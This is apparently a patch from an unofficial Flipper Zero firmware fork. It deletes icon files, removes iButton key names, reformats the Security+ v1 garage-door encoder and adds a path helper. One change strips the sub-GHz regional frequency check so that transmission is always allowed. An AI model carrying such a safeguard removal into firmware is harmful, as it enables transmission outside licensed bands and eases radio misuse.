zh21)3jn5BufH+<$5zz|DQf$u_H)}0YE$n%ph4aO&`9Wr=RXjt{vKATdGr9x5?wy&Q ziT)A7$A6hWx(VTRSTaEJykzl#3Q0(&&0Ve!8JW#a>Yp^EGktFg-XuDsj;ks+g*Qpw4fGA274@8J?AQD*`h^T~;gj zAB8It-4St1P)`fpnDt*7= zJFZQWF!W&%4|*}QzF-Ff4A5RUje(+uqQ;5ZBkidHSw2-=I_H*^XR(#AIi=4*eaXN8L>HX1&LeE`~02mlc;!4C~%AvnsRrUe`be zY1eGNY*=>d^LwS)r47N^_+im8(ZnO&M^+pO{m{9sIo`RfxjpmxtLRn5Rs3qFOxrysd~0(RO?MiL&=*NS6^x0+mzg8ZHc=ll3Il`f-@u>@x|AQ3AaL9 z(6QOfI8$2Si&oF1uZJ?{xKgkv{4W;hJr8nWLCy>+GbZY_8iUaJt^ z8=e`ycPnr6*hcGi;?KHK`jYsf9hWEDE4E3tnnYB^*~s?pPq^I4JuDPXyt{5Q)ApP@ zcEl<$wo(o!nJKY;LG;K`jr(ffPL?}T&r#P@dKnXLo4z#(i-{%IUmP3oe@+heW%vgo z12J>il@XQqDB&KFM zTJu5-+_c@2!t`Qp3THeqnv4dSIzSHCPZkqwWki-PWyjcC)E2}SoP1nSdEDT}RIW?f zs@~AC3uYUBm+dWs-fHsLBbDjNk~dx`EZe%6_kLk?em?hERX;T+HK!2Ck4rCC{-j=U zxWe8?SviG&fFC^G!F)eaj)#> zBg@LEF;_c}p0E`y=OQjd%C#5~`$G=c- zhx)H1w3oNPYv<5LYtNrNmtcPg%4F)h1fUdC7!=?e($OUbJm|q3>zWQtUZrJ&8hp)Fg-VDBJAI`j3vBEuzpeuL7 z>Vg=mh4_5xH>8XJxEvD}IGDq2rjKChbJmy!_n5@Wu6ssFd+y@8Y~%J0tkV z%t88^%~ocB`$_j2U$f3UBMItvn+lJ$mgO(giS7&4q#xiluK~r16Q%GnxK%i5dld2T zG;tQY);jNMP)7Y>JA15)`QhS*e|-<-)6Y+8?ziYQ%(rvW6$GWBgO!R^D?fu*=OsdT zzuOGDhbGb8KWi#|(vFg?6Iwt1oxwbi$8BT}oY(ds8EpJBX zEAD4~RZ3DVP*g{v4>bf$#sVhZL@zAJ8jtqHBC%+1`neXY0RV8wxV;xlCh4Vc21bk z0F1sj*vJrMK!dRa@K`DuM8gLXC@>lv{I@QQW$!LSz@Wb&)Brg6KS7~v9YAJ8G8Uw* zrlX31YH5IU_0^y{>iQa5Dj*GYs4hfZ7XsB(RfodVbzqwMpnonf%NyC-2Zl7a{Kpq- z1_%35sU#Q#5)u-k7NV&}B>O_3`uh41bq$DyhAIo8N}&^|Xqqa4qVQY6981BFaU?2^ zNC53BqP>VgR5+Lw>3>qdlm3+@Q2se4)`3B2Xc7dfroNlfZ=kL1{}09E|3y=%NbG;( z{Xc~%PIM9$g2YmYL1YZ8a6SsVu1GL5G8RoGlAVaez~86n;76nqDSku}i1i0?*cC_c zCWcUs{0+CYg;^6QR5SsDwKj)?SpsS}oHxuwT}wwtM_t`a-@+6MwJ_D!*VQ%G(J(jD z(}n6oH8p;7&54*GJeENH&Gr5-7y3u;ZYSVLEYIdxGAixs@{!=X4mX?3yLRi5-cI*1T>im0&)jYfAzg^3k{M+|f0;}1{tgd$aIk3!nBlbAh zI9ag9U%!6c`Fv}LWyx8an>f+>y*$0WJv{;8>!2vMhREb*zDs;gaN`IzfL#{YzxDxZ Q%z^^e7Ix-krk+v%1Ac@~CIA2c diff --git a/assets/icons/Interface/Back3_45x8.png b/assets/icons/Interface/Back3_45x8.png deleted file mode 100644 index 6cb945f6297dda14d46e8bb2e77496a572c600fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3630 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 VF6l4kcM51FgQu&X%Q~loCIF8|LCF9B diff --git a/assets/icons/MainMenu/Clock_14/frame_02.png b/assets/icons/MainMenu/Clock_14/frame_02.png deleted file mode 100644 index 7eb0f8bef9a8c3ba711ad05678ed93619db2647c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 176 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}S)MMAAsQ1~ zCwcQR7;-o*eEE0%nKjEchFzKa;8wAZN3-lF zx%Yo~w`!73`98O`R+cMRtzR&%mYwV8IqO&#>p9ujt0%WF-j)92t!4Y~t83m%oSAF& ZgSorMOKw&Y+YO+t44$rjF6*2UngE+`LplHe diff --git a/assets/icons/MainMenu/Clock_14/frame_03.png b/assets/icons/MainMenu/Clock_14/frame_03.png deleted file mode 100644 index 5d4e6243ba7c2ca17645f6ea2484bd3255b8bf68..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 175 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}nVv3=AsQ1~ zgB{=ff>U+$WTFMV4Ug?R~iO>pUVV`NBC_g}J7&Tq@ZhjX^sXjz;M|ESgH zHRD-vMW4?b?#)im>mFs6&i;5%rSr+F0=XUkU&P%ly1mM}P569~%FXDv71xr=e+k#e XWqV1zn{O5ew3NZq)z4*}Q$iB}Fn~hf diff --git a/assets/icons/MainMenu/Clock_14/frame_04.png b/assets/icons/MainMenu/Clock_14/frame_04.png deleted file mode 100644 index 8578a5a730f9dc74c02f396a5654d7d1b1bdb92d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 175 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}nVv3=AsQ1~ zgB|a?bm8SoDf`81q%P>KuVaI)$KYNqCZWq{O{o=`&Wqs)+Q@_P>a^5p` YrQ2RIB8i4+KuZ}sUHx3vIVCg!0ARa8LI3~& diff --git a/assets/icons/MainMenu/Clock_14/frame_05.png b/assets/icons/MainMenu/Clock_14/frame_05.png deleted file mode 100644 index 9c50fe469ad9e07cc06c2bae4babc0ed0048bc41..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 172 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}X`U{QAsQ1~ zgB1r35 Us7J3i0c~XPboFyt=akR{0Iy^|*Z=?k diff --git a/assets/icons/MainMenu/Clock_14/frame_06.png b/assets/icons/MainMenu/Clock_14/frame_06.png deleted file mode 100644 index 4fe0f2c6394cefc5c4bdafc8782253302a6b183c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 175 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}nVv3=AsQ2V zgB-aS963(S_+Nk1R<|SjY}I8EZYIxZ3=WoOf=Y9+it1RTvsBADx`>D%@!A4=>O4yXMUKR($X5 z)27V*N9KR|_3c8&og;nOSFZPot9z>a_bQ6D+`06NRo|?>hwZP6RgOl#{qr%+|JE7# YzF;q@&)e7D1zO7B>FVdQ&MBb@0PfdEMF0Q* diff --git a/assets/icons/MainMenu/Clock_14/frame_08.png b/assets/icons/MainMenu/Clock_14/frame_08.png deleted file mode 100644 index baffdaa70bcc93bac709b77afe0b3a45ba1af6f9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 178 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}Ii4<#AsQ1~ zgBc_F2*zpL_+6TyIY&%}Fn=sxUNMJ~}z$Rl9L+&5k9!?y8=B)@tEr z16e02yfpH!K7Mr1AUu&AA%^FWOhOCs50FIeE`OG&JyjmqyrpT~qm$&bg5A(zJ wp80;@H&bzv7-z&u*7M&MiHhZ)dH08@qFGGl!}2qhK%*HvUHx3vIVCg!0Pt}!$p8QV diff --git a/assets/icons/MainMenu/MusicPlayer_14/frame_1.png b/assets/icons/MainMenu/MusicPlayer_14/frame_1.png deleted file mode 100644 index 781d353be4cdab914805fa514fd4806c765034ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 148 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}ex5FlAsQ3+ zPO|1>P~dPrTJc}|`pG4R5!%hM5)VG|Gi09mmHs7ZGJwL9{jSp o_4=Xa2hERZf8Y1-{<^b#(o5V-6A)a6qhMgDcf?5ylr;WQ~@O4)^K4W-fyjYIEN$nA5Q)G_U?TGfyL rmTjgpg=IQJw-<%pVta zcXsBP=Y8IfdG}DPx2wMP{#t?{>LcCZKKyRMcT>$B__;5wF5%bRX7>{|LDX$`HYFt1ku)>H-Rz?9dZaJbt6dq{@FQ-)YTxh+ZW}c zW(cPA?r{tDkN3uv@nJ<$srGGTTVBQl8R!5qpGh0GoDWh3UKx+wX_g`j5N9|@b+`t} zL^MW*kOfJR;b?{91kx`tyy*3cTq`MX0>^SbmKSJVlsT`=`^nNpVQZGE$$jCSC0qC_ zNTnRdlvy^H%P~0*gRCUWOOnKL0xJkKM$q<{;eb4C*iB`IFtim*Hys@rq{|3~P}T`j zSZUFPj9H;I>{6I;z}P%6S)Sosm&(9sbaiMZQ$gEK=P0&P(tAr{J3eMYwh!7UYbmgE z6dF!b*_f(S_L^BMUGP*@SeS+x470H?zGBKuAqUwhbQ?b^%N1`-Ib=cLAS;egx}2z3 znS~U1Mj)Ga>xPPQ_EuL>X#)%c2L>seHJ;`?G#`lbURempoYcZ|GRGC6QCtTqaKPHY zNY%BmwLqg$IbzrjFccUG2PrIy(REe!DMJCt2R*dvR|Hz|dNn%0a~#e2A>af>^zeRP zK^NX1MoQKVpS!1(Ty|517=tV#+PNr*cvOS#UlZZ9e(h5dKF3TrF+RvC_)p*yT}Vf<0) zcdBbj$Mm&c#E2PVf5s zEq3dI~(WbegwYst$NZyG}PgIe%nsW`Dgk*f6pFljN1d zFOI*ey*4rYLULiIVJgvf=bi&2-*$&PV6#o^pSBk=w%a diff --git a/assets/icons/iButton/DolphinExcited_64x63.png b/assets/icons/iButton/DolphinExcited_64x63.png deleted file mode 100644 index e695c85f08109523700392e311416ab7413a624e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2304 zcmbVO32+lt7~ZzhR?1;1Xu&Bg3(6szJ#uxIMre~_YnxIa*eVKac3+Z(WH;_^o20dZ z6b38E;0%H=a+IMS2w0V4T2!iKP)3wPF0YoB0jxL_R7OtqB@MA62;2>PM{0={1A;GS>u9!j-L%Q)Ct_8WWhRj?!r(}uwW%dJ8Ab@fk(`% zP{5RmA_reFn`Z=U+@ok#kc9+3pmAu>=ap18Xu%@9ENq8|2@H)uwAmIcJ8TdwwHKpS zSpld?N8&t5(x{oyQ6_`IM2c$7m%rDiaip2y%Xc(vjhiB0zzU;rwNaH)34i3E%}jAZaSZQZcOGBWtqik#9pC zoBoFZD6QQdvvEsbe7=|oRm&}hVMGPFC0cca{D7DYRJlyyL2fy8b67YUKWkM0r^$*# zmc2JNs`!S>C{5{TbYzJr335Ok)olT=aT>5-aMviDq~YzLX;yDwN#i3F$&zFj)GiC6 zD|8c7?;tZ-(!}ab|A4}j5jc&zBUs>Bm#p|W7_jK$+<@>)ZVZjd$XaEutU$xiJAL=@ ze5Ij#)_D)_GYf2TC{h{hY$VS_Bl;g1HpghjwL*)8|Ju zIob)Q&utl1uKd5nxVz-⁢8g{(TPqj~G#*c@HPK0j$|XBp4!G-MY4!xH$tNbKNQ- zR5LOJ%WJq9tLv~6`(*$Uq*h?vUtGK5Qv`|U^KID<&kIMMDtNyc?NwdaIR~`NTYkP* z@;A@rZ2fWTsMP!Sn8-`_%^RE0QdvzM>p7*oy?@;Hw!oR>rt>X3{$O*E!OvgoOpQkx zr<@JNHQ62}*F10_e&EqP#{*=&a{SWe4Zj`y<&91usbj$On$dNNbm+l@SO@J%$=S87 zVRxbXohAH2Y0JfijEw^a>~hR_uViVqws&u6?6T@4s%}w5#_^dSsk-^&Pdn$nR9m@e z#Ll#yUo3BA>w9lTMyAbm?7!b%mD}vCnZI{ZsB&Au&pj-MB%%| z`=$-OXF-y5F!!eyCwd1ZW&~46t@ThdpLO!Rt8wHtkhOGv;@RtcJN71shfVI?2Zmo5 za-nkmGVi#$VU>f7e0%z-tn2A{{r6pZVNOYDXJdSOy>EI(!;Jdn`wR5CW95=mb!G9G z^;OrH0^yOZ8?TK_eEh66`B>T12kKqwz|o{3Z~T#jh9MiP_FLZUc>iq+(mr%*V?#~9 z=JvRKnWeQ`d(GbwswU2%!cI9TI7`rEyLHX+SED}IlR)^Lz{Rcttho=+L-#Mk(Hgkf=N5t zHfDd^nzZ)xsVhr%_6u67kF9ye+xT<#ERvM_jjw1rvG9YenXlzuJ(q&7%3Z-!^eSyz z_=9WmzW~;NICua6 diff --git a/assets/icons/iButton/iButtonDolphinSuccess_109x60.png b/assets/icons/iButton/iButtonDolphinSuccess_109x60.png deleted file mode 100644 index f234aba9043fc3ab21e63d5ae71fc1634ee50dd6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2178 zcmbVOX;2eq7!H+M#M>TXCqvhjAEHh600LP_6%vk!5hPHt$JAwaLv~2AOLidv6j1SM z1r?Dxh%FS0bQHYt>Ub11^(tNrT57A{pcVnef+w|KIMPnX*49im`yJ2wy!Sg<88bU# zr03h75{YD_Hc}G{-e&Lwd%OaETO!N#;5CeooF_;m!(VqkZj#~>FNx&Ux7fG@F+n$r zpg6Ofq`5>!Za4D)4TPuLd6G(IL@1F-Vl67T^Ux6(VrdmTH$aE#cr{~WBQvawK4W$q zm61#-X?Xg3P_Uf<1ZGAgA-maR5eT~q?&BrE+Ift?P#;80R>2`og;0Vn22yiY22#jT z8HJ)a6sVMA3V(kE`Ywc{IEtVF2!_ir1%dh#SRgd;fq^zFZ6IPb;RCwBP6Zo9ktYzu zX0yp{esa#5gkVag5vkAUVEdv6Kh7=hU46=sFP#k>YaGXFDguh}ch7u^+57mJ> zph=PZZ(xpQ4e2k0(iCCftY#8Ki8Yf+48mKI`n2hEgw`U6q=jO%8Wjvom9s2OD5$_7 z45e`yi75kQ3P1lqSrAGYWC0kiV3a7T3?Tch1@an>N_A#%P@evu^3hfnbP#EJc^+4W z2sLNotU8VcQTBtOKhL#lb&QoWuqJRJ#72Zd+Ay^OQz{fPT#h*ly|3ViNLBz@O&@3- zJ(Du9GOJ53+oO6 z#v{&#?e_!uyNi8ye`)SPIG7mDrE64yjceF37BJzgV3cwAh~W~+ka1c~NSwW-z4&TI zE#$E*HM;Xz(e5F0+h(|p9btGf>amG^n)z9d&!dCYbXkdC=IVw7x9$&2pWM@W>8>s) z+LfrSx_x^^@aS7o$F8i}71b_B5U`G|p&!oY;B!Kuz00pOopP zUinW(-iRrD!*M9>%F4;hrJbqqjYKYq zN1UvvesFDRLtE?Qrp4*A>h(T(e(rUbE|*ueYlgnIc~xWMhuxn#I)+=8RB5CvWnz*G zn4ccA4eiEl>syN+l|PE@g^FztXHE&+BU?t4)p=8em7XWJ9ge;}Wy{_8+&O8x0~KFS z4a{vdX6`?s$r+hO?iHXh^(mWmwZ1!Qrq0to90p(W%sM^fU8${LXF9dWFsZQVLSc7{ zzDYgpX2;B??1&{@Ju9vT*PQCD-@k53@M7;AetFj-uT1v|(&Ug;&t~ep0WgOKN zAz91k?~?{M$6*^5=Cy;(sEaM}TlUMU3X*5l~Aqu$#~`BuGhkcd3$QpeCp@ebBU;+33uKf9lqk;kI%kRrPZJRZg*#; zadY+$shLI8){aj-_9g6Fa9~_-ulG`)vhuC-qT`K4N4lla{wL?{lYi2()m-{8#E|S> zz*dbnHpIT8dcS4F$J>xsz8+f>eJ1qhnTa9#9l3!`b;)birXJbUUbTMxn;Z4jyUt`j z#ZUPjnHc@ih=}aCZx7!S?@IF@c<=n;=p4IyQPkQCn?(7l9%JSD@ey}R3$n5f75o;K zv*Bq_+Qf=qwtv2DbXl9Dc3sxfa))yJtj3;4?zb-9HW5wt^Mi)e`2Ak!(Q+|F^lY0J nlt1Pie{4%#{jRRld57H^dV=R~_ifK|{!7q?&DK= 299999755 && value <= 348000335) && - !(value >= 386999938 && value <= 464000000) && - !(value >= 778999847 && value <= 928000000)) { - } else { - is_allowed = true; - } - break; - case FuriHalVersionRegionUsCaAu: - //304,10..321,95; 433,05..434,79; 915,00..928,00 - if(!(value >= 299999755 && value <= 348000335) && - !(value >= 386999938 && value <= 464000000) && - !(value >= 778999847 && value <= 928000000)) { - } else { - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - if((value >= 304100000 && value <= 321950000) && - ((furi_hal_subghz_preset == FuriHalSubGhzPresetOok270Async) || - (furi_hal_subghz_preset == FuriHalSubGhzPresetOok650Async))) { - furi_hal_subghz_load_patable(furi_hal_subghz_preset_ook_async_patable_au); - } - } - is_allowed = true; - } - break; - case FuriHalVersionRegionJp: - //312,00..315,25; 920,50..923,50 - if(!(value >= 299999755 && value <= 348000335) && - !(value >= 386999938 && value <= 464000000) && - !(value >= 778999847 && value <= 928000000)) { - } else { - is_allowed = true; - } - break; - - default: - is_allowed = true; - break; - } - return is_allowed; + // Removed region check + + return true; } uint32_t furi_hal_subghz_set_frequency(uint32_t value) { diff --git a/firmware/targets/f7/target.mk b/firmware/targets/f7/target.mk index 4b019cae8..8e58a71c9 100644 --- a/firmware/targets/f7/target.mk +++ b/firmware/targets/f7/target.mk @@ -19,8 +19,9 @@ endif MCU_FLAGS = -mcpu=cortex-m4 -mthumb -mfpu=fpv4-sp-d16 -mfloat-abi=hard # Warnings configuration -CFLAGS += $(MCU_FLAGS) -DSTM32WB55xx -Wall -fdata-sections -ffunction-sections +CFLAGS += -Wall -Wextra -Wredundant-decls -Wdouble-promotion +CFLAGS += $(MCU_FLAGS) -DSTM32WB55xx -fdata-sections -ffunction-sections -fsingle-precision-constant LDFLAGS += $(MCU_FLAGS) -specs=nosys.specs -specs=nano.specs CPPFLAGS += -fno-rtti -fno-use-cxa-atexit -fno-exceptions diff --git a/lib/one_wire/ibutton/ibutton_key.c b/lib/one_wire/ibutton/ibutton_key.c index c6d4466f0..2c0f7fa26 100644 --- a/lib/one_wire/ibutton/ibutton_key.c +++ b/lib/one_wire/ibutton/ibutton_key.c @@ -4,7 +4,6 @@ struct iButtonKey { uint8_t data[IBUTTON_KEY_DATA_SIZE]; - char name[IBUTTON_KEY_NAME_SIZE]; iButtonKeyType type; }; @@ -42,14 +41,6 @@ uint8_t ibutton_key_get_data_size(iButtonKey* key) { return ibutton_key_get_size_by_type(key->type); } -void ibutton_key_set_name(iButtonKey* key, const char* name) { - strlcpy(key->name, name, IBUTTON_KEY_NAME_SIZE); -} - -const char* ibutton_key_get_name_p(iButtonKey* key) { - return key->name; -} - void ibutton_key_set_type(iButtonKey* key, iButtonKeyType key_type) { key->type = key_type; } diff --git a/lib/one_wire/ibutton/ibutton_key.h b/lib/one_wire/ibutton/ibutton_key.h index 8d6732bcb..f66537d7e 100644 --- a/lib/one_wire/ibutton/ibutton_key.h +++ b/lib/one_wire/ibutton/ibutton_key.h @@ -68,20 +68,6 @@ const uint8_t* ibutton_key_get_data_p(iButtonKey* key); */ uint8_t ibutton_key_get_data_size(iButtonKey* key); -/** - * Set key name - * @param key - * @param name - */ -void ibutton_key_set_name(iButtonKey* key, const char* name); - -/** - * Get pointer to key name - * @param key - * @return const char* - */ -const char* ibutton_key_get_name_p(iButtonKey* key); - /** * Set key type * @param key diff --git a/lib/subghz/protocols/secplus_v1.c b/lib/subghz/protocols/secplus_v1.c index 0dacbda76..6767c3897 100644 --- a/lib/subghz/protocols/secplus_v1.c +++ b/lib/subghz/protocols/secplus_v1.c @@ -152,8 +152,8 @@ static bool level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 2); break; case SECPLUS_V1_BIT_2: - instance->encoder.upload[index++] = level_duration_make( - false, (uint32_t)subghz_protocol_secplus_v1_const.te_short); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_secplus_v1_const.te_short); instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 3); break; @@ -188,8 +188,8 @@ static bool level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 2); break; case SECPLUS_V1_BIT_2: - instance->encoder.upload[index++] = level_duration_make( - false, (uint32_t)subghz_protocol_secplus_v1_const.te_short); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_secplus_v1_const.te_short); instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)subghz_protocol_secplus_v1_const.te_short * 3); break; @@ -278,10 +278,10 @@ bool subghz_protocol_encoder_secplus_v1_deserialize(void* context, FlipperFormat flipper_format_read_uint32( flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); - if(!subghz_protocol_secplus_v1_encode(instance)){ + if(!subghz_protocol_secplus_v1_encode(instance)) { break; } - if(!subghz_protocol_encoder_secplus_v1_get_upload(instance)){ + if(!subghz_protocol_encoder_secplus_v1_get_upload(instance)) { break; } @@ -528,12 +528,12 @@ bool subghz_protocol_decoder_secplus_v1_deserialize(void* context, FlipperFormat return subghz_block_generic_deserialize(&instance->generic, flipper_format); } -bool subghz_protocol_secplus_v1_check_fixed (uint32_t fixed) { +bool subghz_protocol_secplus_v1_check_fixed(uint32_t fixed) { //uint8_t id0 = (fixed / 3) % 3; uint8_t id1 = (fixed / 9) % 3; uint8_t btn = fixed % 3; - do{ + do { if(id1 == 0) return false; if(!(btn == 0 || btn == 1 || btn == 2)) return false; } while(false); diff --git a/lib/subghz/subghz_keystore.c b/lib/subghz/subghz_keystore.c index d64e1fda2..d3903bc51 100644 --- a/lib/subghz/subghz_keystore.c +++ b/lib/subghz/subghz_keystore.c @@ -334,7 +334,6 @@ bool subghz_keystore_save(SubGhzKeystore* instance, const char* file_name, uint8 SubGhzKeyArray_t* subghz_keystore_get_data(SubGhzKeystore* instance) { furi_assert(instance); return &instance->data; - FURI_LOG_I(TAG, "array: \n", &instance->data); } bool subghz_keystore_raw_encrypted_save( diff --git a/lib/toolbox/path.c b/lib/toolbox/path.c index 4fd042e41..a99e57d1f 100644 --- a/lib/toolbox/path.c +++ b/lib/toolbox/path.c @@ -19,6 +19,20 @@ void path_extract_filename_no_ext(const char* path, string_t filename) { string_mid(filename, start_position, end_position - start_position); } +void path_extract_filename(string_t path, string_t name, bool trim_ext) { + size_t filename_start = string_search_rchar(path, '/'); + if(filename_start > 0) { + filename_start++; + string_set_n(name, path, filename_start, string_size(path) - filename_start); + } + if(trim_ext) { + size_t dot = string_search_rchar(name, '.'); + if(dot > 0) { + string_left(name, dot); + } + } +} + static inline void path_cleanup(string_t path) { string_strim(path); while(string_end_with_str_p(path, "/")) { diff --git a/lib/toolbox/path.h b/lib/toolbox/path.h index 0de63bb2b..76e501cc1 100644 --- a/lib/toolbox/path.h +++ b/lib/toolbox/path.h @@ -14,6 +14,15 @@ extern "C" { */ void path_extract_filename_no_ext(const char* path, string_t filename); +/** + * @brief Extract filename string from path. + * + * @param path path string + * @param filename output filename string. Must be initialized before. + * @param trim_ext true - get filename without extension + */ +void path_extract_filename(string_t path, string_t filename, bool trim_ext); + /** * @brief Extract last path component * diff --git a/lib/toolbox/random_name.c b/lib/toolbox/random_name.c index cf2f8d7fb..60cbaf826 100644 --- a/lib/toolbox/random_name.c +++ b/lib/toolbox/random_name.c @@ -14,6 +14,4 @@ void set_random_name(char* name, uint8_t max_name_size) { , datetime.hour, datetime.minute ); sniprintf(name, max_name_size, "%s", strings[0]); - // Set first symbol to upper case - name[0] = name[0] - 0x20; } diff --git a/make/git.mk b/make/git.mk index 5ff53a1b8..8c0cd73ad 100644 --- a/make/git.mk +++ b/make/git.mk @@ -4,7 +4,7 @@ GIT_BRANCH_NUM := $(shell git rev-list --count HEAD || echo 'nan') BUILD_DATE := $(shell date '+%d-%m-%Y' || echo 'unknown') BUILD_TIME := $(shell date '+%H:%M:%S' || echo 'unknown') VERSION := $(shell git describe --tags --abbrev=0 --exact-match 2>/dev/null || echo 'unknown') -GIT_DIRTY_BUILD := $(shell echo 0) +GIT_DIRTY_BUILD := 0 # TODO: Return git diff check back GIT_DIRTY_SUFFIX := ifeq ($(GIT_DIRTY_BUILD), 1) From 46d4aab0139dca25770ff9c2ef842299ae784f07 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Wed, 1 Jun 